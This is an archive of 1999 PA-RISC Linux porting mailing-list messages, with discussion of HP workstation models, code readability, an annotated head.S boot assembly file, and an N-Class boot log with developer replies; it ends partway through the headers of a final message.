X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Another bootstrap test 
In-reply-to: Your message of "Sat, 27 Feb 1999 02:10:25 PST."
             <AB06BBFD8AFBD111B07600805FCB119224240A@EXCHANGE.aubi.de> 
Date: Sun, 28 Feb 1999 09:00:34 -0800
From: Grant Grundler <grundler@cup.hp.com>
Resent-Message-ID: <"01Ldi3.0._f6.cTNss"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/131
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 3284d02c8d7154cb32647b81f9da6f02
Lines: 31
Xref: merlin.pcj.primenet.com palinux:102


Markus Doehr wrote:
...
> We have some HP machines around here:
> 
> 	A 9000/715
> 	A 9000/778
> 	B 9000/375
> 
> On moday I'll speak to the admin if I could do some testing in the evening,
> when the machines are not needed any more. Sorry for silly asking, but is
> the 'C160' the only model currently "supported" or will our machines
> probably work too?

The 778 listed is most likely a B132L  - little brother to the C160.
Type "model" at the command line and you should get back something
like:
9000/778/B132L

I'm afraid the 9000/375 is a Motarola based workstation and not PA-RISC.

grant

Grant Grundler
Enterprise Systems Technology Lab
+1.408.447.7253

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:10:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Fri, 22 Oct 1999 21:46:01 -0600
Lines: 388
Approved: news@gmane.org
Message-ID: <38112F79.CF8C3C8C@uswest.net>
References: <Pine.LNX.4.10.9910212221480.18206-100000@vodka.thepuffingroup.com> <99102217512801.00256@P100> <38109F94.7DA3551A@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------B83F451A9D117A9432392387"
X-Trace: ger.gmane.org 1416618578 26866 80.91.229.3 (22 Nov 2014 01:09:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, Paul Bame <bame@debian.fc.hp.com>
To: frowand@cup.hp.com
Original-X-From: rbradetich@uswest.net  Fri Oct 22 21:20:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA25448
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 21:20:36 -0600
Original-Received: (qmail 29631 invoked by uid 15267); 23 Oct 1999 03:21:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29624 invoked from network); 23 Oct 1999 03:21:34 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 23 Oct 1999 03:21:34 -0000
Original-Received: (qmail 19506 invoked by alias); 23 Oct 1999 03:21:31 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 19486 invoked by uid 0); 23 Oct 1999 03:21:30 -0000
Original-Received: from beavis.ybsoft.com (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 23 Oct 1999 03:21:30 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6235

This is a multi-part message in MIME format.
--------------B83F451A9D117A9432392387
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Frank Rowand wrote:

> Helge Deller wrote:
> >
> > Am Fri, 22 Oct 1999 schrieb Alex deVries:
> > > On Thu, 21 Oct 1999, Frank Rowand wrote:
> > > > Ok, tirade mode off.  This is where my newbie status becomes apparent.  Please
> > > > excuse any foot in mouth here.  I looked at the Puffin web page and didn't
> > > > notice anything about the process of making sure that code that is submitted
> > > > has some minimal level of quality.  Is it just a matter of the community
> > > > applying peer pressure?
> > >
> > > In fact, it's *ALL* about the community applying pressure.
> > >
> > > If the code in head.S is a bit rough, remember that it was just about the
> > > first PA-RISC assembler that Helge or Philipp had ever written, so do keep
> > > that in mind.  Also, at the start of the project, there was a very
> > > conscious effort to only be concerned with 1.1 code.  It doesn't surprise
> > > me in the least that it's not 2.0 compliant.
> > >
> > > I agree that the code is unreadable though;  I've simply passed it off on
> > > not being able to understand parisc assembler well enough.
> > >
> > > We'd all appreciate it if you could commit appropriate changes to make the
> > > code clearer.
> > >
> > > - Alex
> >
> > Thanks Alex,
> >
> > Yes, we all know that the boot-loader really needs a complete clean-up, and as
> > it looks like Im the maintainer of the bootloader.
> >
> > Its really funny to see people from HP talking to the list and saying somthing
> > about code-quality, but only as a little reminder:
> > When I wrote the bootloader I had no documentation on bootloading from HP at
> > all, no knowledge of parisc and got it only working with trial & error methods
> > in day and night-sessions. More, its first goal was to get at least a kernel
> > booted so that the real kernel-development could start. (See my messages in the
>
> <stuff deleted>
>
> First, thanks to all for the gentle replies.  I like this community!!
>
> Alex, I guess I wasn't clear enough about what my issue was.  I wasn't complaining
> about the actual code (I try to avoid that, as long as code is mostly correct
> (works)).  My concern was that I, with twelve years experience with PA-RISC
> (including four different OSs - MPE, NextStep, HP-RT, and HP-UX), had to go to
> external documentation to read what is trivial code (a PDC call) when a
> one line comment would have made it obvious that the code was calling
> PDC_BLOCK_TLB().  For me, just annoying - for someone who might be missing one
> or two of the bits of knowledge, potentially a multi-hour sidetrack to
> understand some trivial code.  I want to encourage people to make the code
> easily readable so I don't have to waste a lot of time when my help is requested
> to debug or contribute code.
>
> Helge, I wasn't complaining about the boot-loader, I think you are mixing two
> different threads together.  And I'm not complaining about the algorithms,
> the instructions coded, correctness of code, or anything like that.  I'm just
> saying that the sequence that I had to read in head.S to figure out the
> cause of the HPMC on the C3000 needed at least a comment to make it readable
> without having to know about and consult external documents.  (And Grant made
> a good point that using defines instead of numbers can also increase
> readability significantly).
>
> And yes, I suspect that adding the comment to the code will be my first
> submission to parisc linux (how embaressing to submit a comment before
> submitting any code!).
>

Sorry I haven't responded to this thread earlier .... (Spent last week traveling ...)
I've been working on trying to figure out
how the boot-loader works, and get it to work on the C200+ (which is PA-RISC 2.0)  I'm
going to assume the
C3000 is also PA-RISC 2.0 also.  I've gone through and attempted to clean up clean up
the code and put in
comments so that I could understand it.  (I've attach my modified head.S.  Be gentle
.... this is my first attempt at
PA-RISC assembly)

Since there seems to be other interest in getting this to work, I'd be very interested
in sharing what I have learned,
and working with others to get this to work.

-Ryan Bradetich who is finally home again.
P.S I really want to help on this port, but I can't until it boots on the C200.

>
> Thanks all,
>
> Frank Rowand
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

--------------B83F451A9D117A9432392387
Content-Type: text/plain; charset=us-ascii;
 name="head.S"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="head.S"

/*
 *
 * This file is subject to the terms and conditions of the GNU General Public
 * License.  See the file "COPYING" in the main directory of this archive
 * for more details.
 *
 * Copyright (C) 1999 by Helge Deller
 * Copyright 1999 SuSE GmbH (Philipp Rumpf, prumpf@suse.de)
 *
 * Initial Version 04-23-1999 by Helge Deller (helge.deller@ruhr-uni-bochum.de)
 */


/* ---------------------------------------------------------------------------
 *
 * $Log: head.S,v $
 * Revision 1.32  1999/08/31 19:25:23  prumpf
 * fixes
 *
 * Revision 1.30  1999/08/21 19:07:07  prumpf
 * removed the initrd stuff for now
 *
 * Revision 1.29  1999/08/21 17:08:27  prumpf
 * debugging
 *
 * Revision 1.28  1999/08/10 15:44:35  prumpf
 * changes for having the kernel virtually mapped
 *
 * Revision 1.27  1999/08/06 17:05:11  prumpf
 * cleaned up a bit
 *
 * Revision 1.26  1999/07/24 00:00:41  deller
 *
 * * first work on initrd
 *
 * Revision 1.25  1999/07/21 00:30:34  deller
 *
 * * renamed some symbols in head.S (for mmu-code)
 * * the same changes in setup.c
 * * removed irq_setup() from setup.c (not used).
 *
 * Revision 1.24  1999/07/16 10:26:41  prumpf
 * Fixed some of the obvious problems so interruptions will work again
 *
 * Revision 1.23  1999/07/15 13:52:59  deller
 *
 * * found the problem, why kernel stopped with booting via hpux-loader:
 *   the hpux-bootloader did not zero-initialized the BSS segment, so
 *   that all uninitialized variables from kernel was in undefined state.
 * * the kernel now zero-initializes the BSS segment itself
 * * the memory-adress of the first free byte is now the same, it doesn't
 *   matter if you boot via hpux-loader or our ipl-loader....
 *
 * -> Now booting all ways (network, CD, HDD, hpux) should be OK !
 *
 * Revision 1.22  1999/07/14 09:36:52  deller
 *
 * * cache will be reset, when init_cache() is called,
 * * fatal() is called, when a function from fixme.c is called,
 * * the Kernel now gets the (yet static) command-line from the bootloader.
 *
 * Revision 1.21  1999/07/13 23:33:30  deller
 *
 * next approach on Phillips' bug-report. (better, should work, but not optimal!)
 * the bogompis/irq-detection hangs when booted via hpux-bootloader,
 * it seems that some general irq-flags has to be set in head.s or irq.c (?)
 *
 * Revision 1.20  1999/07/13 20:59:29  deller
 *
 * Phillip, would you try again with this....
 * Please remove the boot/boot_code/ipl-file before (maybe it's now done
 * automatically).
 *
 * Revision 1.18  1999/07/13 01:23:25  deller
 *
 * small changes in fixme.c - (it would be good to remove that file),
 * better memory-optimization in head.S for booting from the local hpux-bootloader
 * (tested with HP-UX 10.20).
 *
 * Revision 1.17  1999/07/09 21:54:44  deller
 *
 *
 * Fixed the hpux-bootloader-problem !
 * The problem was in head.S (where I assumed, that we always start the kernel
 * from our own bootloader).
 *
 * Now you can do:
 * boot pri isl
 * hpux /stand/vmlinux
 *
 * Revision 1.16  1999/07/08 15:47:31  prumpf
 * stack alignment is 64 bytes
 *
 */

/* 			FIXME !!!
    When vmlinux was started by the hpux-bootloader, then I don't know
    the size of the BSS-Data, which follows the end of the vmlinux-file.
    I did some debugging-tests here, and it seemed, that %arg3=%r23 will get 
    the HALF of the size of BSS from the bootloader, so I implemented that !
    If anybody has real documentation, please contact me:
    Helge Deller <helge.deller@ruhr-uni-bochum.de> or <deller@gmx.de>
    
    (NB: The commands for booting are: "boot pri isl" and "hpux /stand/vmlinux").

    Maybe I should mention, that this problem does not exist, when vmlinux
    was started by our own bootloader.

    Helge Deller, 99-07-13
*/

#define	PA(x) ((x)-0xc0000000)

#include <asm/offset.h>
#include <asm/psw.h>

	.level 1.1

	.space $TEXT$
	.subspa $UNWIND_START$,QUAD=0,ALIGN=8,ACCESS=0x2C,SORT=56
	.export $UNWIND_START
$UNWIND_START
	.subspa $UNWIND_END$,QUAD=0,ALIGN=8,ACCESS=0x2C,SORT=73
	.export $UNWIND_END
$UNWIND_END

	.space $TEXT$
	.subspa $FIRST$
	.import start_parisc,code
	.import init_task_union,data
	.import fault_vector,code
	.import	$global$
	
	.export stext
	.export _stext,data		; Kernel want it this way!
	.export $START$,entry
$START$	
_stext
stext
	.proc
	.callinfo

	copy		%r0,%dp			; Debug

	ldil		L%$global$,%dp		; Initialize the global
	ldo		R%$global$(%dp),%dp	; data pointer (%dp)
	
	ldil		L%TASK_SZ_ALGN,%r13
        ldo             R%TASK_SZ_ALGN(%r13),%r13
	
	ldil		L%PA(init_task_union+TASK_SZ_ALGN),%sp
	ldo		R%PA(init_task_union+TASK_SZ_ALGN)(%sp),%sp

	copy 		%sp,%r12		; Debug
	/*
	 * There are 2 possible methods, how vmlinux was started:
	 *
	 * 1. It was started by our own ipl-bootloader:
	 *     	%arg0=Kernel_MemFreeStart ( >= offset(_bss_start)) [not used!]
	 *	%arg1=ptr to the command line
	 *	%arg3(=%r23) holds HALF(!) of the size of the BSS-Segment 
	 *
	 * 2. It was started by the hpux-bootloader:
	 *	%arg0 should then be lower than offset(_bss_start)
	 * 	%arg1= ????? [not used!]
	 *	%arg3(=%r23) holds HALF(!) of the size of the BSS-Segment 
	 */

	ldil		L%_bss_start-0xc0000000,%r10
	ldo		R%_bss_start-0xc0000000(%r10),%r10	; _bss_start

	comclr,<<	%r10,%arg0,%r0		; is %arg0 < offset _bss_start ??
	copy		%r0,%arg1	

	sh1add		%arg3,%r10,%arg0	; _bss_start + 2*(bss_size)
	depi		3,1,2, %arg0            ; 0xC0000000 + %arg0

	/* Why are we setting up the BTLB?  */
	/* setup the BTLB.  XXX: This assumes a unified BTLB */
	ldo		128(%sp),%sp
	stw		%arg0, -128(%sp)
	stw		%arg1, -124(%sp)
	stw		%arg2, -120(%sp)
	stw		%arg3, -116(%sp)

	/* What are we doing here? */
	ldo		0x388(%r0), %r1		; What is the significance of 0x388?
						; 0x388 (Page C-3) Start of MEM_PDC[32-63]

	ldwax		%r0(%r1), %r1 	 	; ldwax does not exist in PA-RISC 2.0??
						; Do we need this statement??

	ldo		18(%r0), %arg0		; (Page C-4) MEM_PF_LEN (Checksum for MEM_POW_FAIL)
	ldo		1(%r0), %arg1		; (Page C-4) MEM_POW_FAIL
	ldil		L%0xc0000, %arg3        ; What this significance of this statement?
	ldo		0(%r0), %arg2           ; (Page C-4) 0

	ldil		L%0x00000000, %r22	; Start of PAGE0 Data format (C-3)?
	stw		%r22, -52(%sp)

	ldo		4096(0), %r22		; What is the significance of 0x4096?
	stw		%r22, -56(%sp) 		; End of the PAGE0 Data format (C-3)?

	ldil		L%0x03000000, %r22	; What is the significance of 0x03000000?
	stw		%r22, -60(%sp)

	ldo		0(%r0), %r22		; We already stored 0 once ... Why again?
	stw		%r22, -64(%sp)

	ldil		L%PA(.+12),%r2	        ; Not sure what this is doing ..... 
	bv		%r0(%r1)		; %r1 is set by ldil ...	
	ldo		R%PA(.+4)(%r2), %r2	; No clue about this either ... (.+4)  -> pc-relative

	/* Restore the origional values of %arg0 - %arg3 from the stack */
	ldw		-128(%sp), %arg0
	ldw		-124(%sp), %arg1
	ldw		-120(%sp), %arg2
	ldw		-116(%sp), %arg3
	ldo		-128(%sp), %sp
	
	/* Load the fault vector into %r10 */
	ldil		L%PA(fault_vector), %r10
	ldo		R%PA(fault_vector)(%r10), %r10
	
	/* Move the fault vector into %iva (%cr14) */
	mtctl		%r10, %iva

	/* Store the following value 0xF(%sp{2..31})
	depi		3, 1, 2, %sp
	/* Store this value to a temporary control register ....
	mtctl		%r0, %cr30

	mtsm		%r0			; Disable (most) interruptions

	
	/* kernel PSW:
	 *  - no interruptions except for HPMC and TOC (which are handled by PDC)
	 *  - Q bit set (IODC / PDC interruptions)
	 *  - big-endian
	 *  - virtually mapped
	 */
#define KERNEL_PSW 0x4000a
	
	/* Set the C, Q, and D bits */
	ldil		L%KERNEL_PSW,%r10
	ldo		R%KERNEL_PSW(%r10),%r10
	mtctl		%r10,%ipsw 
	
	mtctl		%r0,%cr17		; Clear two-level IIA Space Queue
	mtctl		%r0,%cr17		;    effectively setting kernel space.
	ldil		L%start_parisc,%r10
	ldo		R%start_parisc(%r10),%r10

	mtctl		%r10,%cr18
	ldo		4(%r10),%r10
	mtctl		%r10,%cr18

	mtctl		%arg0, %cr0

	rfi
	nop
	.procend

	.space	$PRIVATE$
	.subspa	$GLOBAL$
	.export	$global$,data
	.export	_data_start,data
$global$
_data_start
	.word 0	

/* offset(_bss_start) is the start of the $BSS-segment in vmlinux */

	.space	$PRIVATE$
	.subspa $BSS$,QUAD=1,ALIGN=8,ACCESS=31,ZERO,SORT=82
	.export	_bss_start,data
_bss_start

--------------B83F451A9D117A9432392387--


From - Thu Nov 08 21:10:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Justin Hamilton" <JHamilton@Earthling.Net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trying to boot on an N-Class
Date: Sat, 23 Oct 1999 23:44:00 -0400
Lines: 81
Approved: news@gmane.org
Message-ID: <NDBBKIEANAMHBNPAILKPKEBECEAA.JHamilton@Earthling.Net>
References: <199910221606.JAA00597@milano.cup.hp.com>
Reply-To: <JHamilton@Earthling.Net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618579 26869 80.91.229.3 (22 Nov 2014 01:09:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:39 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: JHamilton@Earthling.Net  Sat Oct 23 21:45:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA28582
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Oct 1999 21:45:16 -0600
Original-Received: (qmail 784 invoked by uid 15267); 24 Oct 1999 03:46:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 775 invoked from network); 24 Oct 1999 03:46:15 -0000
Original-Received: from mail1.atl.bellsouth.net (205.152.0.28)
  by mailserv2.iuinc.com with SMTP; 24 Oct 1999 03:46:15 -0000
Original-Received: from enterprise (host-216-78-43-110.ath.bellsouth.net [216.78.43.110])
	by mail1.atl.bellsouth.net (3.3.5alt/0.75.2) with SMTP id XAA09328
	for <parisc-linux@thepuffingroup.com>; Sat, 23 Oct 1999 23:41:39 -0400 (EDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <199910221606.JAA00597@milano.cup.hp.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Xref: news.gmane.org gmane.linux.ports.parisc:6236

Here's what I get when trying to boot the kernel on an N-Class:

Firmware Version  39.25

Duplex Console IO Dependent Code (IODC) revision 1

----------------------------------------------------------------------------
--
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
----------------------------------------------------------------------------
--

  Processor   Speed            State           CoProcessor State  CacheSize
  Number                                       State              Inst
Data
  ---------  --------   ---------------------  -----------------  ----------
--
      1      360  MHz   Active                 Functional         512KB   1
MB
      3      360  MHz   Idle                   Functional         512KB   1
MB

  Central Bus Speed (in MHz)  :        120
  Available Memory            :    2097152  KB
  Good Memory Required        :     140844  KB

   Primary boot path:    1/10/0/0.8
   Alternate boot path:  0/0/2/1.6
   Console path:         0/0/4/0.0
   Keyboard path:        0/0/4/0.0


Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.

Main Menu: Enter command or menu > bo 1/10/0/0.8.1
Interact with IPL (Y, N, or Cancel)?> n

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.

----------------------------------------------------------------------------
--

PARISC/Linux Bootstrap Version 0.6 (non-interactive)
By Helge Deller & Jason Eckhardt
Built Wed Oct 20 04:01:37 EDT 1999 by chris@rum

Reading parameters...done.

Loading PA-RISC/Linux Kernel...
No ramdisks available.
SOM-Kernel:
aux_header_location: 00000080
som       : 00200080
exec_dfile: 000B4000
exec_dsize: 0007F000
exec_dmem : C008A000
exec_tfile: 0003A000
exec_tsize: 00079008
exec_tmem : C0010000
Code at 0x00010000, size=0x00079008
Data at 0x0008A000, size=0x0007F000
BSS  at 0x00109000.

Transferring control to kernel. (At entry point 0x00010000)

And this is where it sits.

Is this kind of info useful to anyone?  Am I expecting too much at this
stage in development?

Justin Hamilton
Unix Systems Engineer.


From - Thu Nov 08 21:10:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to boot on an N-Class
Date: Sat, 23 Oct 1999 22:22:11 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <199910240522.WAA01597@milano.cup.hp.com>
References: <NDBBKIEANAMHBNPAILKPKEBECEAA.JHamilton@Earthling.Net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618579 26874 80.91.229.3 (22 Nov 2014 01:09:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: JHamilton@earthling.net
Original-X-From: grundler@cup.hp.com  Sat Oct 23 23:20:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA29002
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Oct 1999 23:20:58 -0600
Original-Received: (qmail 19700 invoked by uid 15267); 24 Oct 1999 05:21:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19693 invoked from network); 24 Oct 1999 05:21:58 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 24 Oct 1999 05:21:58 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id BAA07591;
	Sun, 24 Oct 1999 01:21:08 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id WAA01597; Sat, 23 Oct 1999 22:22:12 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 23 Oct 1999 23:44:00 PDT."
             <NDBBKIEANAMHBNPAILKPKEBECEAA.JHamilton@Earthling.Net> 
Xref: news.gmane.org gmane.linux.ports.parisc:6237

"Justin Hamilton" wrote:
> Here's what I get when trying to boot the kernel on an N-Class:
...
> And this is where it sits.
> 
> Is this kind of info useful to anyone? 

Not to me. (yet). But I have access to N-class machines.

> Am I expecting too much at this stage in development?

Definitely. Firmware on N-class is *quite* different from the
of two flavors of PDC we have the current code talking to.
And none of the CEC (Core Electronics Complex - CPU, Mem, I/O bus
adapters) in an N-class are supported by the code in CVS today.
We are quite a ways off from implementing everything N-class needs.
The docs for that box are not (and probably won't be) published
for quite a while.

The next step in that direction is probably to write PA2.0 processor
support and support for the "ccio" bus adapter. Then try to get this
working on a C200 through C360. I know some folks are working on the
processor support but docs for "ccio" haven't been released.
(Or have they?)

thanks though,
grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:10:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to boot on an N-Class
Date: Sun, 24 Oct 1999 10:43:09 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <19991024104309.A31105@suse.de>
References: <199910221606.JAA00597@milano.cup.hp.com> <NDBBKIEANAMHBNPAILKPKEBECEAA.JHamilton@Earthling.Net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618579 26875 80.91.229.3 (22 Nov 2014 01:09:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Justin Hamilton <JHamilton@Earthling.Net>
Original-X-From: prumpf@suse.de  Sun Oct 24 02:42:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA29598
	for <parisc-linux@puffin.external.hp.com>; Sun, 24 Oct 1999 02:42:12 -0600
Original-Received: (qmail 21488 invoked by uid 15267); 24 Oct 1999 08:43:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21481 invoked from network); 24 Oct 1999 08:43:12 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 24 Oct 1999 08:43:12 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id ABCF732CD4; Sun, 24 Oct 1999 10:43:11 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 47C2767A7; Sun, 24 Oct 1999 10:43:11 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id E4B567F8B; Sun, 24 Oct 1999 10:43:09 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <NDBBKIEANAMHBNPAILKPKEBECEAA.JHamilton@Earthling.Net>; from Justin Hamilton on Sat, Oct 23, 1999 at 11:44:00PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:6238

> exec_tfile: 0003A000
> exec_tsize: 00079008
> exec_tmem : C0010000
> Code at 0x00010000, size=0x00079008
> Data at 0x0008A000, size=0x0007F000
> BSS  at 0x00109000.
> 
> Transferring control to kernel. (At entry point 0x00010000)
> 
> And this is where it sits.

This looks like it is the same PA 2.0 PDC problem we see on the C class.
Could you try againg after we fixed it ?  (Don't expect the kernel to do
too much with your hardware in the near future, but at least you might
be able to get to a shell prompt).

	Philipp Rumpf


From - Thu Nov 08 21:10:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] So you wanna get to a prompt, eh?
Date: Sun, 24 Oct 1999 18:52:22 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910241849370.21645-100000@vodka.thepuffingroup.com>
References: <38107330.E3716195@spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618580 26882 80.91.229.3 (22 Nov 2014 01:09:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Magne =?iso-8859-1?Q?=D8stlyngen?= <magne@spacetec.no>
Original-X-From: adevries@thepuffingroup.com  Sun Oct 24 16:45:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA31784
	for <parisc-linux@puffin.external.hp.com>; Sun, 24 Oct 1999 16:45:08 -0600
Original-Received: (qmail 32267 invoked by uid 15267); 24 Oct 1999 22:46:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32259 invoked from network); 24 Oct 1999 22:46:09 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 24 Oct 1999 22:46:09 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id SAA21675;
	Sun, 24 Oct 1999 18:52:22 -0400
In-Reply-To: <38107330.E3716195@spacetec.no>
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id QAA31784
Xref: news.gmane.org gmane.linux.ports.parisc:6239


On Fri, 22 Oct 1999, Magne [iso-8859-1] stlyngen wrote:
> > The 700 has an ancient IO architecture that we don't have any
> > documentation on, so it's not high on the list of priorities.
> But it is possible to get the docs from HP?

I can't speak for HP on this, but I will say that the old IO docs will
only be in the queue of requested items from HP once we've gotten some of
the others out.  We need to prioritize the docs we need, and the stuff
that's in more modern machines (even the 715) is much higher on the lsit.

> Is it possible to compile with linux, and do only the linking on the hp?

That should work.

> (It isn't very fast.. :)  Can I link with HPUX 9.03? (probably not)
> 10.30? (It doesn't run 11.x)

That should work, in theory.  I'm not sure anyone's ever tried though.

- Alex


From - Thu Nov 08 21:10:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rbooting an 735?
Date: Sun, 24 Oct 1999 18:53:25 -0400 (EDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910241852350.21645-100000@vodka.thepuffingroup.com>
References: <199910221500.IAA00520@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618580 26884 80.91.229.3 (22 Nov 2014 01:09:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
